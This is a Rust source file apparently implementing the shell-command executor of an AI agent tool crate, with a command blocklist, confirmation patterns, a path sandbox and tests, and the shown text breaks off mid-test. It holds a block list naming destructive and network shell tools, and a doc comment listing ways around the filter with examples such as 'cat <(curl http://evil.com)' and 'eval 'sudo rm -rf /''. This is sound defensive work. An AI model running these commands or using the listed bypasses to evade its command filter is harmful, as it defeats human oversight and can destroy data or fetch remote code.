Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23    "reboot", "halt",
24];
25
26/// The default list of blocked command patterns used by [`ShellExecutor`].
27///
28/// Exposed so other executors (e.g. `AcpShellExecutor`) can reuse the same
29/// blocklist without duplicating it.
30pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
31
32/// Shell interpreters that may execute arbitrary code via `-c` or positional args.
33pub const SHELL_INTERPRETERS: &[&str] =
34    &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
35
36/// Subshell metacharacters that could embed a blocked command inside a benign wrapper.
37/// Commands containing these sequences are rejected outright because safe static
38/// analysis of nested shell evaluation is not feasible.
39const SUBSHELL_METACHARS: &[&str] = &["$(", "`"];
40
41/// Check if `command` matches any pattern in `blocklist`.
42///
43/// Returns the matched pattern string if the command is blocked, `None` otherwise.
44/// The check is case-insensitive and handles common shell escape sequences.
45///
46/// Commands containing subshell metacharacters (`$(` or `` ` ``) are always
47/// blocked because nested evaluation cannot be safely analysed statically.
48#[must_use]
49pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
50    let lower = command.to_lowercase();
51    // Reject commands that embed subshell constructs to prevent blocklist bypass.
52    for meta in SUBSHELL_METACHARS {
53        if lower.contains(meta) {
54            return Some((*meta).to_owned());
55        }
56    }
57    let cleaned = strip_shell_escapes(&lower);
58    let commands = tokenize_commands(&cleaned);
59    for blocked in blocklist {
60        for cmd_tokens in &commands {
61            if tokens_match_pattern(cmd_tokens, blocked) {
62                return Some(blocked.clone());
63            }
64        }
65    }
66    None
67}
68
69/// Build the effective command string for blocklist evaluation when the binary is a
70/// shell interpreter (bash, sh, zsh, etc.) and args contains a `-c` script.
71///
72/// Returns `None` if the args do not follow the `-c <script>` pattern.
73#[must_use]
74pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
75    let base = binary.rsplit('/').next().unwrap_or(binary);
76    if !SHELL_INTERPRETERS.contains(&base) {
77        return None;
78    }
79    // Find "-c" and return the next element as the script to check.
80    let pos = args.iter().position(|a| a == "-c")?;
81    args.get(pos + 1).map(String::as_str)
82}
83
84const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
85
86#[derive(Deserialize, JsonSchema)]
87pub(crate) struct BashParams {
88    /// The bash command to execute
89    command: String,
90}
91
92/// Bash block extraction and execution via `tokio::process::Command`.
93#[derive(Debug)]
94pub struct ShellExecutor {
95    timeout: Duration,
96    blocked_commands: Vec<String>,
97    allowed_paths: Vec<PathBuf>,
98    confirm_patterns: Vec<String>,
99    audit_logger: Option<AuditLogger>,
100    tool_event_tx: Option<ToolEventTx>,
101    permission_policy: Option<PermissionPolicy>,
102    output_filter_registry: Option<OutputFilterRegistry>,
103    cancel_token: Option<CancellationToken>,
104    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
105}
106
107impl ShellExecutor {
108    #[must_use]
109    pub fn new(config: &ShellConfig) -> Self {
110        let allowed: Vec<String> = config
111            .allowed_commands
112            .iter()
113            .map(|s| s.to_lowercase())
114            .collect();
115
116        let mut blocked: Vec<String> = DEFAULT_BLOCKED
117            .iter()
118            .filter(|s| !allowed.contains(&s.to_lowercase()))
119            .map(|s| (*s).to_owned())
120            .collect();
121        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
122
123        if !config.allow_network {
124            for cmd in NETWORK_COMMANDS {
125                let lower = cmd.to_lowercase();
126                if !blocked.contains(&lower) {
127                    blocked.push(lower);
128                }
129            }
130        }
131
132        blocked.sort();
133        blocked.dedup();
134
135        let allowed_paths = if config.allowed_paths.is_empty() {
136            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
137        } else {
138            config.allowed_paths.iter().map(PathBuf::from).collect()
139        };
140
141        Self {
142            timeout: Duration::from_secs(config.timeout),
143            blocked_commands: blocked,
144            allowed_paths,
145            confirm_patterns: config.confirm_patterns.clone(),
146            audit_logger: None,
147            tool_event_tx: None,
148            permission_policy: None,
149            output_filter_registry: None,
150            cancel_token: None,
151            skill_env: std::sync::RwLock::new(None),
152        }
153    }
154
155    /// Set environment variables to inject when executing the active skill's bash blocks.
156    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
157        match self.skill_env.write() {
158            Ok(mut guard) => *guard = env,
159            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
160        }
161    }
162
163    #[must_use]
164    pub fn with_audit(mut self, logger: AuditLogger) -> Self {
165        self.audit_logger = Some(logger);
166        self
167    }
168
169    #[must_use]
170    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
171        self.tool_event_tx = Some(tx);
172        self
173    }
174
175    #[must_use]
176    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
177        self.permission_policy = Some(policy);
178        self
179    }
180
181    #[must_use]
182    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
183        self.cancel_token = Some(token);
184        self
185    }
186
187    #[must_use]
188    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
189        self.output_filter_registry = Some(registry);
190        self
191    }
192
193    /// Execute a bash block bypassing the confirmation check (called after user confirms).
194    ///
195    /// # Errors
196    ///
197    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
198    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
199        self.execute_inner(response, true).await
200    }
201
202    #[allow(clippy::too_many_lines)]
203    async fn execute_inner(
204        &self,
205        response: &str,
206        skip_confirm: bool,
207    ) -> Result<Option<ToolOutput>, ToolError> {
208        let blocks = extract_bash_blocks(response);
209        if blocks.is_empty() {
210            return Ok(None);
211        }
212
213        let mut outputs = Vec::with_capacity(blocks.len());
214        let mut cumulative_filter_stats: Option<FilterStats> = None;
215        #[allow(clippy::cast_possible_truncation)]
216        let blocks_executed = blocks.len() as u32;
217
218        for block in &blocks {
219            if let Some(ref policy) = self.permission_policy {
220                match policy.check("bash", block) {
221                    PermissionAction::Deny => {
222                        self.log_audit(
223                            block,
224                            AuditResult::Blocked {
225                                reason: "denied by permission policy".to_owned(),
226                            },
227                            0,
228                        )
229                        .await;
230                        return Err(ToolError::Blocked {
231                            command: (*block).to_owned(),
232                        });
233                    }
234                    PermissionAction::Ask if !skip_confirm => {
235                        return Err(ToolError::ConfirmationRequired {
236                            command: (*block).to_owned(),
237                        });
238                    }
239                    _ => {}
240                }
241            } else {
242                if let Some(blocked) = self.find_blocked_command(block) {
243                    self.log_audit(
244                        block,
245                        AuditResult::Blocked {
246                            reason: format!("blocked command: {blocked}"),
247                        },
248                        0,
249                    )
250                    .await;
251                    return Err(ToolError::Blocked {
252                        command: blocked.to_owned(),
253                    });
254                }
255
256                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
257                    return Err(ToolError::ConfirmationRequired {
258                        command: pattern.to_owned(),
259                    });
260                }
261            }
262
263            self.validate_sandbox(block)?;
264
265            if let Some(ref tx) = self.tool_event_tx {
266                let _ = tx.send(ToolEvent::Started {
267                    tool_name: "bash".to_owned(),
268                    command: (*block).to_owned(),
269                });
270            }
271
272            let start = Instant::now();
273            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
274                self.skill_env.read().ok().and_then(|g| g.clone());
275            let (out, exit_code) = execute_bash(
276                block,
277                self.timeout,
278                self.tool_event_tx.as_ref(),
279                self.cancel_token.as_ref(),
280                skill_env_snapshot.as_ref(),
281            )
282            .await;
283            if exit_code == 130
284                && self
285                    .cancel_token
286                    .as_ref()
287                    .is_some_and(CancellationToken::is_cancelled)
288            {
289                return Err(ToolError::Cancelled);
290            }
291            #[allow(clippy::cast_possible_truncation)]
292            let duration_ms = start.elapsed().as_millis() as u64;
293
294            let is_timeout = out.contains("[error] command timed out");
295            let result = if is_timeout {
296                AuditResult::Timeout
297            } else if out.contains("[error]") {
298                AuditResult::Error {
299                    message: out.clone(),
300                }
301            } else {
302                AuditResult::Success
303            };
304            self.log_audit(block, result, duration_ms).await;
305
306            if is_timeout {
307                if let Some(ref tx) = self.tool_event_tx {
308                    let _ = tx.send(ToolEvent::Completed {
309                        tool_name: "bash".to_owned(),
310                        command: (*block).to_owned(),
311                        output: out.clone(),
312                        success: false,
313                        filter_stats: None,
314                        diff: None,
315                    });
316                }
317                return Err(ToolError::Timeout {
318                    timeout_secs: self.timeout.as_secs(),
319                });
320            }
321
322            let sanitized = sanitize_output(&out);
323            let mut per_block_stats: Option<FilterStats> = None;
324            let filtered = if let Some(ref registry) = self.output_filter_registry {
325                match registry.apply(block, &sanitized, exit_code) {
326                    Some(fr) => {
327                        tracing::debug!(
328                            command = block,
329                            raw = fr.raw_chars,
330                            filtered = fr.filtered_chars,
331                            savings_pct = fr.savings_pct(),
332                            "output filter applied"
333                        );
334                        let block_fs = FilterStats {
335                            raw_chars: fr.raw_chars,
336                            filtered_chars: fr.filtered_chars,
337                            raw_lines: fr.raw_lines,
338                            filtered_lines: fr.filtered_lines,
339                            confidence: Some(fr.confidence),
340                            command: Some((*block).to_owned()),
341                            kept_lines: fr.kept_lines.clone(),
342                        };
343                        let stats =
344                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
345                        stats.raw_chars += fr.raw_chars;
346                        stats.filtered_chars += fr.filtered_chars;
347                        stats.raw_lines += fr.raw_lines;
348                        stats.filtered_lines += fr.filtered_lines;
349                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
350                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
351                            (None, cur) => cur,
352                        });
353                        if stats.command.is_none() {
354                            stats.command = Some((*block).to_owned());
355                        }
356                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
357                            stats.kept_lines.clone_from(&fr.kept_lines);
358                        }
359                        per_block_stats = Some(block_fs);
360                        fr.output
361                    }
362                    None => sanitized,
363                }
364            } else {
365                sanitized
366            };
367
368            if let Some(ref tx) = self.tool_event_tx {
369                let _ = tx.send(ToolEvent::Completed {
370                    tool_name: "bash".to_owned(),
371                    command: (*block).to_owned(),
372                    output: out.clone(),
373                    success: !out.contains("[error]"),
374                    filter_stats: per_block_stats,
375                    diff: None,
376                });
377            }
378            outputs.push(format!("$ {block}\n{filtered}"));
379        }
380
381        Ok(Some(ToolOutput {
382            tool_name: "bash".to_owned(),
383            summary: outputs.join("\n\n"),
384            blocks_executed,
385            filter_stats: cumulative_filter_stats,
386            diff: None,
387            streamed: self.tool_event_tx.is_some(),
388            terminal_id: None,
389            locations: None,
390            raw_response: None,
391        }))
392    }
393
394    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
395        let cwd = std::env::current_dir().unwrap_or_default();
396
397        for token in extract_paths(code) {
398            if has_traversal(&token) {
399                return Err(ToolError::SandboxViolation { path: token });
400            }
401
402            let path = if token.starts_with('/') {
403                PathBuf::from(&token)
404            } else {
405                cwd.join(&token)
406            };
407            let canonical = path
408                .canonicalize()
409                .or_else(|_| std::path::absolute(&path))
410                .unwrap_or(path);
411            if !self
412                .allowed_paths
413                .iter()
414                .any(|allowed| canonical.starts_with(allowed))
415            {
416                return Err(ToolError::SandboxViolation {
417                    path: canonical.display().to_string(),
418                });
419            }
420        }
421        Ok(())
422    }
423
424    /// Scan `code` for commands that match the configured blocklist.
425    ///
426    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
427    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
428    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
429    /// resulting token sequence is tested against every entry in `blocked_commands`
430    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
431    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
432    ///
433    /// # Known limitations
434    ///
435    /// The following constructs are **not** detected by this function:
436    ///
437    /// - **Process substitution** `<(...)` / `>(...)`: bash executes the inner command
438    ///   before passing the file descriptor to the outer command; `tokenize_commands`
439    ///   never parses inside parentheses, so the inner command is invisible.
440    ///   Example: `cat <(curl http://evil.com)` — `curl` runs undetected.
441    ///
442    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
443    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
444    ///   opaque to this filter.
445    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
446    ///
447    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
448    ///   blocked command embedded as a string argument passes through undetected.
449    ///   Example: `eval 'sudo rm -rf /'`.
450    ///
451    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
452    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
453    ///
454    /// `$(...)` and backtick substitution are **not** covered here either, but the
455    /// default `confirm_patterns` in [`ShellConfig`] include `"$("` and `` "`" ``,
456    /// as well as `"<("`, `">("`, `"<<<"`, and `"eval "`, so those constructs trigger
457    /// a confirmation request via [`find_confirm_command`] before execution.
458    ///
459    /// For high-security deployments, complement this filter with OS-level sandboxing
460    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
461    fn find_blocked_command(&self, code: &str) -> Option<&str> {
462        let cleaned = strip_shell_escapes(&code.to_lowercase());
463        let commands = tokenize_commands(&cleaned);
464        for blocked in &self.blocked_commands {
465            for cmd_tokens in &commands {
466                if tokens_match_pattern(cmd_tokens, blocked) {
467                    return Some(blocked.as_str());
468                }
469            }
470        }
471        None
472    }
473
474    fn find_confirm_command(&self, code: &str) -> Option<&str> {
475        let normalized = code.to_lowercase();
476        for pattern in &self.confirm_patterns {
477            if normalized.contains(pattern.as_str()) {
478                return Some(pattern.as_str());
479            }
480        }
481        None
482    }
483
484    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
485        if let Some(ref logger) = self.audit_logger {
486            let entry = AuditEntry {
487                timestamp: chrono_now(),
488                tool: "shell".into(),
489                command: command.into(),
490                result,
491                duration_ms,
492            };
493            logger.log(&entry).await;
494        }
495    }
496}
497
498impl ToolExecutor for ShellExecutor {
499    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
500        self.execute_inner(response, false).await
501    }
502
503    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
504        use crate::registry::{InvocationHint, ToolDef};
505        vec![ToolDef {
506            id: "bash".into(),
507            description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
508            schema: schemars::schema_for!(BashParams),
509            invocation: InvocationHint::FencedBlock("bash"),
510        }]
511    }
512
513    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
514        if call.tool_id != "bash" {
515            return Ok(None);
516        }
517        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
518        if params.command.is_empty() {
519            return Ok(None);
520        }
521        let command = &params.command;
522        // Wrap as a fenced block so execute_inner can extract and run it
523        let synthetic = format!("```bash\n{command}\n```");
524        self.execute_inner(&synthetic, false).await
525    }
526
527    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
528        ShellExecutor::set_skill_env(self, env);
529    }
530}
531
532/// Strip shell escape sequences that could bypass command detection.
533/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
534/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
535pub(crate) fn strip_shell_escapes(input: &str) -> String {
536    let mut out = String::with_capacity(input.len());
537    let bytes = input.as_bytes();
538    let mut i = 0;
539    while i < bytes.len() {
540        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
541        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
542            let mut j = i + 2; // points after $'
543            let mut decoded = String::new();
544            let mut valid = false;
545            while j < bytes.len() && bytes[j] != b'\'' {
546                if bytes[j] == b'\\' && j + 1 < bytes.len() {
547                    let next = bytes[j + 1];
548                    if next == b'x' && j + 3 < bytes.len() {
549                        // \xNN hex escape
550                        let hi = (bytes[j + 2] as char).to_digit(16);
551                        let lo = (bytes[j + 3] as char).to_digit(16);
552                        if let (Some(h), Some(l)) = (hi, lo) {
553                            #[allow(clippy::cast_possible_truncation)]
554                            let byte = ((h << 4) | l) as u8;
555                            decoded.push(byte as char);
556                            j += 4;
557                            valid = true;
558                            continue;
559                        }
560                    } else if next.is_ascii_digit() {
561                        // \NNN octal escape (up to 3 digits)
562                        let mut val = u32::from(next - b'0');
563                        let mut len = 2; // consumed \N so far
564                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
565                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
566                            len = 3;
567                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
568                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
569                                len = 4;
570                            }
571                        }
572                        #[allow(clippy::cast_possible_truncation)]
573                        decoded.push((val & 0xFF) as u8 as char);
574                        j += len;
575                        valid = true;
576                        continue;
577                    }
578                    // other \X escape: emit X literally
579                    decoded.push(next as char);
580                    j += 2;
581                } else {
582                    decoded.push(bytes[j] as char);
583                    j += 1;
584                }
585            }
586            if j < bytes.len() && bytes[j] == b'\'' && valid {
587                out.push_str(&decoded);
588                i = j + 1;
589                continue;
590            }
591            // not a decodable $'...' sequence — fall through to handle as regular chars
592        }
593        // backslash-newline continuation: remove both
594        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
595            i += 2;
596            continue;
597        }
598        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
599        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
600            i += 1;
601            out.push(bytes[i] as char);
602            i += 1;
603            continue;
604        }
605        // quoted segment stripping: collapse adjacent quoted segments
606        if bytes[i] == b'"' || bytes[i] == b'\'' {
607            let quote = bytes[i];
608            i += 1;
609            while i < bytes.len() && bytes[i] != quote {
610                out.push(bytes[i] as char);
611                i += 1;
612            }
613            if i < bytes.len() {
614                i += 1; // skip closing quote
615            }
616            continue;
617        }
618        out.push(bytes[i] as char);
619        i += 1;
620    }
621    out
622}
623
624/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
625/// Returns list of sub-commands, each as `Vec<String>` of tokens.
626pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
627    // Replace two-char operators with a single separator, then split on single-char separators
628    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
629    replaced
630        .split([';', '|', '\n'])
631        .map(|seg| {
632            seg.split_whitespace()
633                .map(str::to_owned)
634                .collect::<Vec<String>>()
635        })
636        .filter(|tokens| !tokens.is_empty())
637        .collect()
638}
639
640/// Transparent prefix commands that invoke the next argument as a command.
641/// Skipped when determining the "real" command name being invoked.
642const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
643
644/// Return the basename of a token (last path component after '/').
645fn cmd_basename(tok: &str) -> &str {
646    tok.rsplit('/').next().unwrap_or(tok)
647}
648
649/// Check if the first tokens of a sub-command match a blocked pattern.
650/// Handles:
651/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
652/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
653/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
654/// - Multi-word patterns (`rm -rf /` joined prefix check)
655pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
656    if tokens.is_empty() || pattern.is_empty() {
657        return false;
658    }
659    let pattern = pattern.trim();
660    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
661    if pattern_tokens.is_empty() {
662        return false;
663    }
664
665    // Skip transparent prefix tokens to reach the real command
666    let start = tokens
667        .iter()
668        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
669        .unwrap_or(0);
670    let effective = &tokens[start..];
671    if effective.is_empty() {
672        return false;
673    }
674
675    if pattern_tokens.len() == 1 {
676        let pat = pattern_tokens[0];
677        let base = cmd_basename(&effective[0]);
678        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
679        base == pat || base.starts_with(&format!("{pat}."))
680    } else {
681        // Multi-word: join first N tokens (using basename for first) and check prefix
682        let n = pattern_tokens.len().min(effective.len());
683        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
684        parts.extend(effective[1..n].iter().map(String::as_str));
685        let joined = parts.join(" ");
686        if joined.starts_with(pattern) {
687            return true;
688        }
689        if effective.len() > n {
690            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
691            parts2.extend(effective[1..=n].iter().map(String::as_str));
692            parts2.join(" ").starts_with(pattern)
693        } else {
694            false
695        }
696    }
697}
698
699fn extract_paths(code: &str) -> Vec<String> {
700    let mut result = Vec::new();
701
702    // Tokenize respecting single/double quotes
703    let mut tokens: Vec<String> = Vec::new();
704    let mut current = String::new();
705    let mut chars = code.chars().peekable();
706    while let Some(c) = chars.next() {
707        match c {
708            '"' | '\'' => {
709                let quote = c;
710                while let Some(&nc) = chars.peek() {
711                    if nc == quote {
712                        chars.next();
713                        break;
714                    }
715                    current.push(chars.next().unwrap());
716                }
717            }
718            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
719                if !current.is_empty() {
720                    tokens.push(std::mem::take(&mut current));
721                }
722            }
723            _ => current.push(c),
724        }
725    }
726    if !current.is_empty() {
727        tokens.push(current);
728    }
729
730    for token in tokens {
731        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
732        if trimmed.is_empty() {
733            continue;
734        }
735        if trimmed.starts_with('/')
736            || trimmed.starts_with("./")
737            || trimmed.starts_with("../")
738            || trimmed == ".."
739        {
740            result.push(trimmed);
741        }
742    }
743    result
744}
745
746fn has_traversal(path: &str) -> bool {
747    path.split('/').any(|seg| seg == "..")
748}
749
750fn extract_bash_blocks(text: &str) -> Vec<&str> {
751    crate::executor::extract_fenced_blocks(text, "bash")
752}
753
754fn chrono_now() -> String {
755    use std::time::{SystemTime, UNIX_EPOCH};
756    let secs = SystemTime::now()
757        .duration_since(UNIX_EPOCH)
758        .unwrap_or_default()
759        .as_secs();
760    format!("{secs}")
761}
762
763/// Kill a child process and its descendants.
764/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
765/// killing the parent, preventing zombie subprocesses.
766async fn kill_process_tree(child: &mut tokio::process::Child) {
767    #[cfg(unix)]
768    if let Some(pid) = child.id() {
769        let _ = Command::new("pkill")
770            .args(["-KILL", "-P", &pid.to_string()])
771            .status()
772            .await;
773    }
774    let _ = child.kill().await;
775}
776
777async fn execute_bash(
778    code: &str,
779    timeout: Duration,
780    event_tx: Option<&ToolEventTx>,
781    cancel_token: Option<&CancellationToken>,
782    extra_env: Option<&std::collections::HashMap<String, String>>,
783) -> (String, i32) {
784    use std::process::Stdio;
785    use tokio::io::{AsyncBufReadExt, BufReader};
786
787    let timeout_secs = timeout.as_secs();
788
789    let mut cmd = Command::new("bash");
790    cmd.arg("-c")
791        .arg(code)
792        .stdout(Stdio::piped())
793        .stderr(Stdio::piped());
794    if let Some(env) = extra_env {
795        cmd.envs(env);
796    }
797    let child_result = cmd.spawn();
798
799    let mut child = match child_result {
800        Ok(c) => c,
801        Err(e) => return (format!("[error] {e}"), 1),
802    };
803
804    let stdout = child.stdout.take().expect("stdout piped");
805    let stderr = child.stderr.take().expect("stderr piped");
806
807    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
808
809    let stdout_tx = line_tx.clone();
810    tokio::spawn(async move {
811        let mut reader = BufReader::new(stdout);
812        let mut buf = String::new();
813        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
814            let _ = stdout_tx.send(buf.clone()).await;
815            buf.clear();
816        }
817    });
818
819    tokio::spawn(async move {
820        let mut reader = BufReader::new(stderr);
821        let mut buf = String::new();
822        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
823            let _ = line_tx.send(format!("[stderr] {buf}")).await;
824            buf.clear();
825        }
826    });
827
828    let mut combined = String::new();
829    let deadline = tokio::time::Instant::now() + timeout;
830
831    loop {
832        tokio::select! {
833            line = line_rx.recv() => {
834                match line {
835                    Some(chunk) => {
836                        if let Some(tx) = event_tx {
837                            let _ = tx.send(ToolEvent::OutputChunk {
838                                tool_name: "bash".to_owned(),
839                                command: code.to_owned(),
840                                chunk: chunk.clone(),
841                            });
842                        }
843                        combined.push_str(&chunk);
844                    }
845                    None => break,
846                }
847            }
848            () = tokio::time::sleep_until(deadline) => {
849                kill_process_tree(&mut child).await;
850                return (format!("[error] command timed out after {timeout_secs}s"), 1);
851            }
852            () = async {
853                match cancel_token {
854                    Some(t) => t.cancelled().await,
855                    None => std::future::pending().await,
856                }
857            } => {
858                kill_process_tree(&mut child).await;
859                return ("[cancelled] operation aborted".to_string(), 130);
860            }
861        }
862    }
863
864    let status = child.wait().await;
865    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
866
867    if combined.is_empty() {
868        ("(no output)".to_string(), exit_code)
869    } else {
870        (combined, exit_code)
871    }
872}
873
874#[cfg(test)]
875mod tests {
876    use super::*;
877
878    fn default_config() -> ShellConfig {
879        ShellConfig {
880            timeout: 30,
881            blocked_commands: Vec::new(),
882            allowed_commands: Vec::new(),
883            allowed_paths: Vec::new(),
884            allow_network: true,
885            confirm_patterns: Vec::new(),
886        }
887    }
888
889    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
890        ShellConfig {
891            allowed_paths,
892            ..default_config()
893        }
894    }
895
896    #[test]
897    fn extract_single_bash_block() {
898        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
899        let blocks = extract_bash_blocks(text);
900        assert_eq!(blocks, vec!["echo hello"]);
901    }
902
903    #[test]
904    fn extract_multiple_bash_blocks() {
905        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
906        let blocks = extract_bash_blocks(text);
907        assert_eq!(blocks, vec!["ls", "pwd"]);
908    }
909
910    #[test]
911    fn ignore_non_bash_blocks() {
912        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
913        let blocks = extract_bash_blocks(text);
914        assert_eq!(blocks, vec!["echo hi"]);
915    }
916
917    #[test]
918    fn no_blocks_returns_none() {
919        let text = "Just plain text, no code blocks.";
920        let blocks = extract_bash_blocks(text);
921        assert!(blocks.is_empty());
922    }
923
924    #[test]
925    fn unclosed_block_ignored() {
926        let text = "```bash\necho hello";
927        let blocks = extract_bash_blocks(text);
928        assert!(blocks.is_empty());
929    }
930
931    #[tokio::test]
932    #[cfg(not(target_os = "windows"))]
933    async fn execute_simple_command() {
934        let (result, code) =
935            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
936        assert!(result.contains("hello"));
937        assert_eq!(code, 0);
938    }
939
940    #[tokio::test]
941    #[cfg(not(target_os = "windows"))]
942    async fn execute_stderr_output() {
943        let (result, _) =
944            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
945        assert!(result.contains("[stderr]"));
946        assert!(result.contains("err"));
947    }
948
949    #[tokio::test]
950    #[cfg(not(target_os = "windows"))]
951    async fn execute_stdout_and_stderr_combined() {
952        let (result, _) = execute_bash(
953            "echo out && echo err >&2",
954            Duration::from_secs(30),
955            None,
956            None,
957            None,
958        )
959        .await;
960        assert!(result.contains("out"));
961        assert!(result.contains("[stderr]"));
962        assert!(result.contains("err"));
963        assert!(result.contains('\n'));
964    }
965
966    #[tokio::test]
967    #[cfg(not(target_os = "windows"))]
968    async fn execute_empty_output() {
969        let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
970        assert_eq!(result, "(no output)");
971        assert_eq!(code, 0);
972    }
973
974    #[tokio::test]
975    async fn blocked_command_rejected() {
976        let config = ShellConfig {
977            blocked_commands: vec!["rm -rf /".to_owned()],
978            ..default_config()
979        };
980        let executor = ShellExecutor::new(&config);
981        let response = "Run:\n```bash\nrm -rf /\n```";
982        let result = executor.execute(response).await;
983        assert!(matches!(result, Err(ToolError::Blocked { .. })));
984    }
985
986    #[tokio::test]
987    #[cfg(not(target_os = "windows"))]
988    async fn timeout_enforced() {
989        let config = ShellConfig {
990            timeout: 1,
991            ..default_config()
992        };
993        let executor = ShellExecutor::new(&config);
994        let response = "Run:\n```bash\nsleep 60\n```";
995        let result = executor.execute(response).await;
996        assert!(matches!(
997            result,
998            Err(ToolError::Timeout { timeout_secs: 1 })
999        ));
1000    }
1001
1002    #[tokio::test]
1003    #[cfg(not(target_os = "windows"))]
1004    async fn timeout_logged_as_audit_timeout_not_error() {
1005        use crate::audit::AuditLogger;
1006        use crate::config::AuditConfig;
1007        let dir = tempfile::tempdir().unwrap();
1008        let log_path = dir.path().join("audit.log");
1009        let audit_config = AuditConfig {
1010            enabled: true,
